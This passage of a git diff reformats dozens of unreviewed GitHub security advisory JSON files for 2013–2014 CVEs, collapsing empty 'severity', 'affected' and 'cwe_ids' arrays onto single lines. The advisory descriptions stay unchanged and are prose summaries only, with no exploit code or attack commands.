-7,12 +7,8 @@ "CVE-2013-5394" ], "details": "The monitoring console in IBM WebSphere eXtreme Scale 7.1.0, 7.1.1, 8.5.0, and 8.6.0 allows remote authenticated users to conduct phishing attacks via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-9m3w-m434-2cgv/GHSA-9m3w-m434-2cgv.json b/advisories/unreviewed/2022/05/GHSA-9m3w-m434-2cgv/GHSA-9m3w-m434-2cgv.json index 61fea768124..84b7b1aa413 100644 --- a/advisories/unreviewed/2022/05/GHSA-9m3w-m434-2cgv/GHSA-9m3w-m434-2cgv.json +++ b/advisories/unreviewed/2022/05/GHSA-9m3w-m434-2cgv/GHSA-9m3w-m434-2cgv.json @@ -7,12 +7,8 @@ "CVE-2013-4742" ], "details": "Buffer overflow in NetWin SurgeFTP before 23d2 allows remote attackers to cause a denial of service (crash) or possibly execute arbitrary code via a long string within the authentication request.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-9q22-46jj-7c8m/GHSA-9q22-46jj-7c8m.json b/advisories/unreviewed/2022/05/GHSA-9q22-46jj-7c8m/GHSA-9q22-46jj-7c8m.json index b1d37057b71..08e53d11e91 100644 --- a/advisories/unreviewed/2022/05/GHSA-9q22-46jj-7c8m/GHSA-9q22-46jj-7c8m.json +++ b/advisories/unreviewed/2022/05/GHSA-9q22-46jj-7c8m/GHSA-9q22-46jj-7c8m.json @@ -7,12 +7,8 @@ "CVE-2013-7129" ], "details": "Cross-site scripting (XSS) vulnerability in ThemeBeans Blooog theme 1.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the jQuery parameter to assets/js/jplayer.swf.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-9q64-vqcr-hw99/GHSA-9q64-vqcr-hw99.json b/advisories/unreviewed/2022/05/GHSA-9q64-vqcr-hw99/GHSA-9q64-vqcr-hw99.json index 4add7b8fc8d..ba48e517f03 100644 --- a/advisories/unreviewed/2022/05/GHSA-9q64-vqcr-hw99/GHSA-9q64-vqcr-hw99.json +++ b/advisories/unreviewed/2022/05/GHSA-9q64-vqcr-hw99/GHSA-9q64-vqcr-hw99.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-9rrr-vxxh-65fw/GHSA-9rrr-vxxh-65fw.json b/advisories/unreviewed/2022/05/GHSA-9rrr-vxxh-65fw/GHSA-9rrr-vxxh-65fw.json index 3292f63e274..ac2c1cd9c47 100644 --- a/advisories/unreviewed/2022/05/GHSA-9rrr-vxxh-65fw/GHSA-9rrr-vxxh-65fw.json +++ b/advisories/unreviewed/2022/05/GHSA-9rrr-vxxh-65fw/GHSA-9rrr-vxxh-65fw.json @@ -7,12 +7,8 @@ "CVE-2013-6749" ], "details": "Buffer overflow in the ActiveX control in qp2.cab in IBM Lotus Quickr for Domino 8.5.1 before 8.5.1.42-001b allows remote attackers to execute arbitrary code via a crafted HTML document, a different vulnerability than CVE-2013-6748.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-9vc6-cv7m-9vwm/GHSA-9vc6-cv7m-9vwm.json b/advisories/unreviewed/2022/05/GHSA-9vc6-cv7m-9vwm/GHSA-9vc6-cv7m-9vwm.json index 5b0d6934d6c..b644354d523 100644 --- a/advisories/unreviewed/2022/05/GHSA-9vc6-cv7m-9vwm/GHSA-9vc6-cv7m-9vwm.json +++ b/advisories/unreviewed/2022/05/GHSA-9vc6-cv7m-9vwm/GHSA-9vc6-cv7m-9vwm.json @@ -7,12 +7,8 @@ "CVE-2013-4797" ], "details": "Unspecified vulnerability in HP LoadRunner before 11.52 allows remote attackers to execute arbitrary code via unknown vectors, aka ZDI-CAN-1690.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-9vcj-85jj-2rvv/GHSA-9vcj-85jj-2rvv.json b/advisories/unreviewed/2022/05/GHSA-9vcj-85jj-2rvv/GHSA-9vcj-85jj-2rvv.json index 3b2f0c430b7..ab6d416a703 100644 --- a/advisories/unreviewed/2022/05/GHSA-9vcj-85jj-2rvv/GHSA-9vcj-85jj-2rvv.json +++ b/advisories/unreviewed/2022/05/GHSA-9vcj-85jj-2rvv/GHSA-9vcj-85jj-2rvv.json @@ -7,12 +7,8 @@ "CVE-2013-3976" ], "details": "The (1) Data Protection for Exchange component 6.1 before 6.1.3.4 and 6.3 before 6.3.1 in IBM Tivoli Storage Manager for Mail and the (2) FlashCopy Manager for Exchange component 2.2 and 3.1 before 3.1.1 in IBM Tivoli Storage FlashCopy Manager do not properly constrain mailbox contents during certain PST restore operations, which allows remote authenticated users to read the personal e-mail of other users in opportunistic circumstances by launching an e-mail client after an administrator performs a multiple-mailbox restore.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-9vx7-4qrw-wfw5/GHSA-9vx7-4qrw-wfw5.json b/advisories/unreviewed/2022/05/GHSA-9vx7-4qrw-wfw5/GHSA-9vx7-4qrw-wfw5.json index 51f4ca96ea5..ca79bd236e7 100644 --- a/advisories/unreviewed/2022/05/GHSA-9vx7-4qrw-wfw5/GHSA-9vx7-4qrw-wfw5.json +++ b/advisories/unreviewed/2022/05/GHSA-9vx7-4qrw-wfw5/GHSA-9vx7-4qrw-wfw5.json @@ -7,12 +7,8 @@ "CVE-2013-5962" ], "details": "Unrestricted file upload vulnerability in frames/upload-images.php in the Complete Gallery Manager plugin before 3.3.4 rev40279 for WordPress allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in wp-content/[year]/[month]/.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -48,9 +44,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-9wq9-gf7h-v9q5/GHSA-9wq9-gf7h-v9q5.json b/advisories/unreviewed/2022/05/GHSA-9wq9-gf7h-v9q5/GHSA-9wq9-gf7h-v9q5.json index 0e976a256e2..3add638c531 100644 --- a/advisories/unreviewed/2022/05/GHSA-9wq9-gf7h-v9q5/GHSA-9wq9-gf7h-v9q5.json +++ b/advisories/unreviewed/2022/05/GHSA-9wq9-gf7h-v9q5/GHSA-9wq9-gf7h-v9q5.json @@ -7,12 +7,8 @@ "CVE-2013-3767" ], "details": "Unspecified vulnerability in the Oracle Application Object Library component in Oracle E-Business Suite Access Gate 1.2.1 allows remote attackers to affect integrity via unknown vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -44,9 +40,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-9x2h-v2xv-qxfj/GHSA-9x2h-v2xv-qxfj.json b/advisories/unreviewed/2022/05/GHSA-9x2h-v2xv-qxfj/GHSA-9x2h-v2xv-qxfj.json index 3e2c8eca70b..60669f380db 100644 --- a/advisories/unreviewed/2022/05/GHSA-9x2h-v2xv-qxfj/GHSA-9x2h-v2xv-qxfj.json +++ b/advisories/unreviewed/2022/05/GHSA-9x2h-v2xv-qxfj/GHSA-9x2h-v2xv-qxfj.json @@ -7,12 +7,8 @@ "CVE-2013-3981" ], "details": "The Meeting Server in IBM Sametime 8.x through 8.5.2.1 and 9.x through 9.0.0.1 allows remote attackers to download avatar photos of arbitrary users via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-c23h-979m-h3fx/GHSA-c23h-979m-h3fx.json b/advisories/unreviewed/2022/05/GHSA-c23h-979m-h3fx/GHSA-c23h-979m-h3fx.json index 97354752f97..8d49965dd0e 100644 --- a/advisories/unreviewed/2022/05/GHSA-c23h-979m-h3fx/GHSA-c23h-979m-h3fx.json +++ b/advisories/unreviewed/2022/05/GHSA-c23h-979m-h3fx/GHSA-c23h-979m-h3fx.json @@ -7,12 +7,8 @@ "CVE-2014-0664" ], "details": "The server in Cisco Unity Connection allows remote authenticated users to cause a denial of service (CPU consumption) via unspecified IMAP commands, aka Bug ID CSCul49976.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -44,9 +40,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-c32m-r9wm-hjfq/GHSA-c32m-r9wm-hjfq.json b/advisories/unreviewed/2022/05/GHSA-c32m-r9wm-hjfq/GHSA-c32m-r9wm-hjfq.json index 352c4fdb715..39058995ffe 100644 --- a/advisories/unreviewed/2022/05/GHSA-c32m-r9wm-hjfq/GHSA-c32m-r9wm-hjfq.json +++ b/advisories/unreviewed/2022/05/GHSA-c32m-r9wm-hjfq/GHSA-c32m-r9wm-hjfq.json @@ -7,12 +7,8 @@ "CVE-2013-4719" ], "details": "SQL injection vulnerability in the SEO Pack for tt_news extension before 1.3.3 for TYPO3 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-c462-7vqc-j6jq/GHSA-c462-7vqc-j6jq.json b/advisories/unreviewed/2022/05/GHSA-c462-7vqc-j6jq/GHSA-c462-7vqc-j6jq.json index d69eb815e47..8e2b18dcb5c 100644 --- a/advisories/unreviewed/2022/05/GHSA-c462-7vqc-j6jq/GHSA-c462-7vqc-j6jq.json +++ b/advisories/unreviewed/2022/05/GHSA-c462-7vqc-j6jq/GHSA-c462-7vqc-j6jq.json @@ -7,12 +7,8 @@ "CVE-2013-5498" ], "details": "The PPTP-ALG component in CRS Carrier Grade Services Engine (CGSE) and ASR 9000 Integrated Service Module (ISM) in Cisco IOS XR allows remote attackers to cause a denial of service (module reset) via crafted packet streams, aka Bug ID CSCue91963.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-c4wx-gp78-8v72/GHSA-c4wx-gp78-8v72.json b/advisories/unreviewed/2022/05/GHSA-c4wx-gp78-8v72/GHSA-c4wx-gp78-8v72.json index 6d45f614dc8..0ad02c46d91 100644 --- a/advisories/unreviewed/2022/05/GHSA-c4wx-gp78-8v72/GHSA-c4wx-gp78-8v72.json +++ b/advisories/unreviewed/2022/05/GHSA-c4wx-gp78-8v72/GHSA-c4wx-gp78-8v72.json @@ -7,12 +7,8 @@ "CVE-2013-5405" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in IBM Sterling B2B Integrator 5.2 and Sterling File Gateway 2.2 allow remote authenticated users to inject arbitrary web script or HTML via unspecified parameters.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-c63g-qwmv-qrcq/GHSA-c63g-qwmv-qrcq.json b/advisories/unreviewed/2022/05/GHSA-c63g-qwmv-qrcq/GHSA-c63g-qwmv-qrcq.json index 46f35801bd8..730433aab5e 100644 --- a/advisories/unreviewed/2022/05/GHSA-c63g-qwmv-qrcq/GHSA-c63g-qwmv-qrcq.json +++ b/advisories/unreviewed/2022/05/GHSA-c63g-qwmv-qrcq/GHSA-c63g-qwmv-qrcq.json @@ -7,12 +7,8 @@ "CVE-2013-5449" ], "details": "Cross-site scripting (XSS) vulnerability in workingSet.jsp in IBM Eclipse Help System (IEHS), as used in the installable InfoCenter component in IBM FileNet Content Manager 4.5.1, 5.0.0, 5.1.0, and 5.2.0, allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-c6v8-h677-3vr4/GHSA-c6v8-h677-3vr4.json b/advisories/unreviewed/2022/05/GHSA-c6v8-h677-3vr4/GHSA-c6v8-h677-3vr4.json index b6d6a290140..8ff4e4eb5bc 100644 --- a/advisories/unreviewed/2022/05/GHSA-c6v8-h677-3vr4/GHSA-c6v8-h677-3vr4.json +++ b/advisories/unreviewed/2022/05/GHSA-c6v8-h677-3vr4/GHSA-c6v8-h677-3vr4.json @@ -7,12 +7,8 @@ "CVE-2013-3791" ], "details": "Unspecified vulnerability in Enterprise Manager (EM) Base Platform 10.2.0.5 and EM DB Control 11.1.0.7 in Oracle Enterprise Manager Grid Control allows remote attackers to affect integrity via unknown vectors related to User Interface Framework.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -48,9 +44,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-c8cr-ghm4-66jf/GHSA-c8cr-ghm4-66jf.json b/advisories/unreviewed/2022/05/GHSA-c8cr-ghm4-66jf/GHSA-c8cr-ghm4-66jf.json index 03cbc12ed82..e554eca6844 100644 --- a/advisories/unreviewed/2022/05/GHSA-c8cr-ghm4-66jf/GHSA-c8cr-ghm4-66jf.json +++ b/advisories/unreviewed/2022/05/GHSA-c8cr-ghm4-66jf/GHSA-c8cr-ghm4-66jf.json @@ -7,12 +7,8 @@ "CVE-2013-4425" ], "details": "The DICOM listener in OsiriX before 5.8 and before 2.5-MD, when starting up, encrypts the TLS private key file using \"SuperSecretPassword\" as the hardcoded password, which allows local users to obtain the private key.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-c967-w47v-rp8h/GHSA-c967-w47v-rp8h.json b/advisories/unreviewed/2022/05/GHSA-c967-w47v-rp8h/GHSA-c967-w47v-rp8h.json index b7b22e5660a..d89fee10066 100644 --- a/advisories/unreviewed/2022/05/GHSA-c967-w47v-rp8h/GHSA-c967-w47v-rp8h.json +++ b/advisories/unreviewed/2022/05/GHSA-c967-w47v-rp8h/GHSA-c967-w47v-rp8h.json @@ -7,12 +7,8 @@ "CVE-2013-4024" ], "details": "IBM Data Studio Web Console 3.x before 3.2, Optim Performance Manager 5.x before 5.2, InfoSphere Optim Configuration Manager 2.x before 2.2, and DB2 Recovery Expert 2.x support HTTP access to the Web Console, which allows remote attackers to read session cookies by sniffing the network.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-c96c-rh6h-9j4g/GHSA-c96c-rh6h-9j4g.json b/advisories/unreviewed/2022/05/GHSA-c96c-rh6h-9j4g/GHSA-c96c-rh6h-9j4g.json index 739d6068072..02a5ab1e7b4 100644 --- a/advisories/unreviewed/2022/05/GHSA-c96c-rh6h-9j4g/GHSA-c96c-rh6h-9j4g.json +++ b/advisories/unreviewed/2022/05/GHSA-c96c-rh6h-9j4g/GHSA-c96c-rh6h-9j4g.json @@ -7,12 +7,8 @@ "CVE-2013-6168" ], "details": "Cross-site scripting (XSS) vulnerability in Zikula Application Framework before 1.3.6 allows remote attackers to inject arbitrary web script or HTML via the returnpage parameter to index.php.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-c972-jmfg-gm6q/GHSA-c972-jmfg-gm6q.json b/advisories/unreviewed/2022/05/GHSA-c972-jmfg-gm6q/GHSA-c972-jmfg-gm6q.json index 81b633b3663..64e37b44450 100644 --- a/advisories/unreviewed/2022/05/GHSA-c972-jmfg-gm6q/GHSA-c972-jmfg-gm6q.json +++ b/advisories/unreviewed/2022/05/GHSA-c972-jmfg-gm6q/GHSA-c972-jmfg-gm6q.json @@ -7,12 +7,8 @@ "CVE-2014-0351" ], "details": "The FortiManager protocol service in Fortinet FortiOS before 4.3.16 and 5.x before 5.0.8 on FortiGate devices does not prevent use of anonymous ciphersuites, which makes it easier for man-in-the-middle attackers to obtain sensitive information or interfere with communications by modifying the client-server data stream.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-c97p-wf7p-5c6r/GHSA-c97p-wf7p-5c6r.json b/advisories/unreviewed/2022/05/GHSA-c97p-wf7p-5c6r/GHSA-c97p-wf7p-5c6r.json index d35c9e21822..e86eb21e800 100644 --- a/advisories/unreviewed/2022/05/GHSA-c97p-wf7p-5c6r/GHSA-c97p-wf7p-5c6r.json +++ b/advisories/unreviewed/2022/05/GHSA-c97p-wf7p-5c6r/GHSA-c97p-wf7p-5c6r.json @@ -7,12 +7,8 @@ "CVE-2013-6403" ], "details": "The admin page in ownCloud before 5.0.13 allows remote attackers to bypass intended access restrictions via unspecified vectors, related to MariaDB.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-ccjv-cx2v-q4rv/GHSA-ccjv-cx2v-q4rv.json b/advisories/unreviewed/2022/05/GHSA-ccjv-cx2v-q4rv/GHSA-ccjv-cx2v-q4rv.json index 6b4aaac66e1..a1a7c8704b4 100644 --- a/advisories/unreviewed/2022/05/GHSA-ccjv-cx2v-q4rv/GHSA-ccjv-cx2v-q4rv.json +++ b/advisories/unreviewed/2022/05/GHSA-ccjv-cx2v-q4rv/GHSA-ccjv-cx2v-q4rv.json @@ -7,12 +7,8 @@ "CVE-2013-4049" ], "details": "Unrestricted file upload vulnerability in IBM SPSS Analytical Decision Management 6.1 before IF1, 6.2 before IF1, and 7.0 before FP1 IF6 allows remote authenticated users to execute arbitrary code by uploading and accessing a JSP file.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-ccrr-r3v8-xwcf/GHSA-ccrr-r3v8-xwcf.json b/advisories/unreviewed/2022/05/GHSA-ccrr-r3v8-xwcf/GHSA-ccrr-r3v8-xwcf.json index c60b966d97a..22b05fba4cc 100644 --- a/advisories/unreviewed/2022/05/GHSA-ccrr-r3v8-xwcf/GHSA-ccrr-r3v8-xwcf.json +++ b/advisories/unreviewed/2022/05/GHSA-ccrr-r3v8-xwcf/GHSA-ccrr-r3v8-xwcf.json @@ -7,12 +7,8 @@ "CVE-2013-5468" ], "details": "IBM Algo One, as used in MetaData Management Tools in UDS 4.7.0 through 5.0.0, ACSWeb in Algo Security Access Control Management 4.7.0 through 4.9.0, and ACSWeb in AlgoWebApps 5.0.0, does not encrypt login requests, which allows remote attackers to obtain sensitive information by sniffing the network.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-cfhx-6jmm-q25v/GHSA-cfhx-6jmm-q25v.json b/advisories/unreviewed/2022/05/GHSA-cfhx-6jmm-q25v/GHSA-cfhx-6jmm-q25v.json index de33af6b369..f5f11121b4d 100644 --- a/advisories/unreviewed/2022/05/GHSA-cfhx-6jmm-q25v/GHSA-cfhx-6jmm-q25v.json +++ b/advisories/unreviewed/2022/05/GHSA-cfhx-6jmm-q25v/GHSA-cfhx-6jmm-q25v.json @@ -7,12 +7,8 @@ "CVE-2013-4013" ], "details": "IBM Maximo Asset Management 6.2 through 6.2.8, 7.1 through 7.1.1.12, and 7.5 before 7.5.0.2 allows remote attackers to obtain sensitive information via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-cg36-m866-gwjh/GHSA-cg36-m866-gwjh.json b/advisories/unreviewed/2022/05/GHSA-cg36-m866-gwjh/GHSA-cg36-m866-gwjh.json index 69e74a92c44..ae092757e05 100644 --- a/advisories/unreviewed/2022/05/GHSA-cg36-m866-gwjh/GHSA-cg36-m866-gwjh.json +++ b/advisories/unreviewed/2022/05/GHSA-cg36-m866-gwjh/GHSA-cg36-m866-gwjh.json @@ -7,12 +7,8 @@ "CVE-2013-4004" ], "details": "Cross-site scripting (XSS) vulnerability in the Administrative console in IBM WebSphere Application Server (WAS) 8.0 before 8.0.0.7 and 8.5 before 8.5.5.1 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-cgc8-pffc-72mr/GHSA-cgc8-pffc-72mr.json b/advisories/unreviewed/2022/05/GHSA-cgc8-pffc-72mr/GHSA-cgc8-pffc-72mr.json index 8717cc5378b..24ce4a0e453 100644 --- a/advisories/unreviewed/2022/05/GHSA-cgc8-pffc-72mr/GHSA-cgc8-pffc-72mr.json +++ b/advisories/unreviewed/2022/05/GHSA-cgc8-pffc-72mr/GHSA-cgc8-pffc-72mr.json @@ -7,12 +7,8 @@ "CVE-2013-5028" ], "details": "SQL injection vulnerability in IT/hardware-list.dll in Kwoksys Kwok Information Server before 2.8.5 allows remote authenticated users to execute arbitrary SQL commands via the (1) hardwareType, (2) hardwareStatus, or (3) hardwareLocation parameter in a search command.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-cgfh-fcw2-4r7r/GHSA-cgfh-fcw2-4r7r.json b/advisories/unreviewed/2022/05/GHSA-cgfh-fcw2-4r7r/GHSA-cgfh-fcw2-4r7r.json index 917c111bc21..084ca451a17 100644 --- a/advisories/unreviewed/2022/05/GHSA-cgfh-fcw2-4r7r/GHSA-cgfh-fcw2-4r7r.json +++ b/advisories/unreviewed/2022/05/GHSA-cgfh-fcw2-4r7r/GHSA-cgfh-fcw2-4r7r.json @@ -7,12 +7,8 @@ "CVE-2013-2618" ], "details": "Cross-site scripting (XSS) vulnerability in editor.php in Network Weathermap before 0.97b allows remote attackers to inject arbitrary web script or HTML via the map_title parameter.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-cgm6-jh5r-372g/GHSA-cgm6-jh5r-372g.json b/advisories/unreviewed/2022/05/GHSA-cgm6-jh5r-372g/GHSA-cgm6-jh5r-372g.json index d1d2158aee6..5a69e23b20a 100644 --- a/advisories/unreviewed/2022/05/GHSA-cgm6-jh5r-372g/GHSA-cgm6-jh5r-372g.json +++ b/advisories/unreviewed/2022/05/GHSA-cgm6-jh5r-372g/GHSA-cgm6-jh5r-372g.json @@ -7,12 +7,8 @@ "CVE-2013-3760" ], "details": "Unspecified vulnerability in the Oracle executable component in Oracle Database Server 10.2.0.4, 10.2.0.5, 11.1.0.7, 11.2.0.2, and 11.2.0.3 allows local users to affect confidentiality, integrity, and availability via unknown vectors, a different vulnerability than CVE-2013-3771.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -44,9 +40,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-chr9-m3cf-vvxr/GHSA-chr9-m3cf-vvxr.json b/advisories/unreviewed/2022/05/GHSA-chr9-m3cf-vvxr/GHSA-chr9-m3cf-vvxr.json index bdd48a25c98..cac0762ef2e 100644 --- a/advisories/unreviewed/2022/05/GHSA-chr9-m3cf-vvxr/GHSA-chr9-m3cf-vvxr.json +++ b/advisories/unreviewed/2022/05/GHSA-chr9-m3cf-vvxr/GHSA-chr9-m3cf-vvxr.json @@ -7,12 +7,8 @@ "CVE-2013-5937" ], "details": "Cross-site request forgery (CSRF) vulnerability in the Click2Sell Suite module 6.x-1.x for Drupal allows remote attackers to hijack the authentication of administrators for requests that delete database information via vectors involving the Drupal Form API.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-cjhr-7jv7-3fxw/GHSA-cjhr-7jv7-3fxw.json b/advisories/unreviewed/2022/05/GHSA-cjhr-7jv7-3fxw/GHSA-cjhr-7jv7-3fxw.json index 8223f7d3f23..37b2e6fa764 100644 --- a/advisories/unreviewed/2022/05/GHSA-cjhr-7jv7-3fxw/GHSA-cjhr-7jv7-3fxw.json +++ b/advisories/unreviewed/2022/05/GHSA-cjhr-7jv7-3fxw/GHSA-cjhr-7jv7-3fxw.json @@ -7,12 +7,8 @@ "CVE-2013-4056" ], "details": "Cross-site request forgery (CSRF) vulnerability in the Data Quality Console and Information Analyzer components in IBM InfoSphere Information Server 8.7 through FP2 and 9.1 through 9.1.2.0 allows remote attackers to hijack the authentication of arbitrary users.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-cjqx-3q5g-44mx/GHSA-cjqx-3q5g-44mx.json b/advisories/unreviewed/2022/05/GHSA-cjqx-3q5g-44mx/GHSA-cjqx-3q5g-44mx.json index 1b7a1d5db15..7c6b52950c1 100644 --- a/advisories/unreviewed/2022/05/GHSA-cjqx-3q5g-44mx/GHSA-cjqx-3q5g-44mx.json +++ b/advisories/unreviewed/2022/05/GHSA-cjqx-3q5g-44mx/GHSA-cjqx-3q5g-44mx.json @@ -7,12 +7,8 @@ "CVE-2013-4064" ], "details": "Cross-site scripting (XSS) vulnerability in iNotes in IBM Domino 8.5.x before 8.5.3 FP6 and 9.0.x before 9.0.1, when ultra-light mode is enabled, allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors, aka SPR PTHN9ARMFA.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-cm3w-xmcx-jg45/GHSA-cm3w-xmcx-jg45.json b/advisories/unreviewed/2022/05/GHSA-cm3w-xmcx-jg45/GHSA-cm3w-xmcx-jg45.json index 8d5da42d7c4..d828c80ea7f 100644 --- a/advisories/unreviewed/2022/05/GHSA-cm3w-xmcx-jg45/GHSA-cm3w-xmcx-jg45.json +++ b/advisories/unreviewed/2022/05/GHSA-cm3w-xmcx-jg45/GHSA-cm3w-xmcx-jg45.json @@ -7,12 +7,8 @@ "CVE-2013-5379" ], "details": "Cross-site scripting (XSS) vulnerability in IBM WebSphere Portal 7.x before 7.0.0.2 CF25 and 8.x before 8.0.0.1 CF8 allows remote authenticated users to inject arbitrary web script or HTML by leveraging improper tagging functionality.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-cm46-8h72-hww3/GHSA-cm46-8h72-hww3.json b/advisories/unreviewed/2022/05/GHSA-cm46-8h72-hww3/GHSA-cm46-8h72-hww3.json index f4f2fc4aa57..4ec2b5410e3 100644 --- a/advisories/unreviewed/2022/05/GHSA-cm46-8h72-hww3/GHSA-cm46-8h72-hww3.json +++ 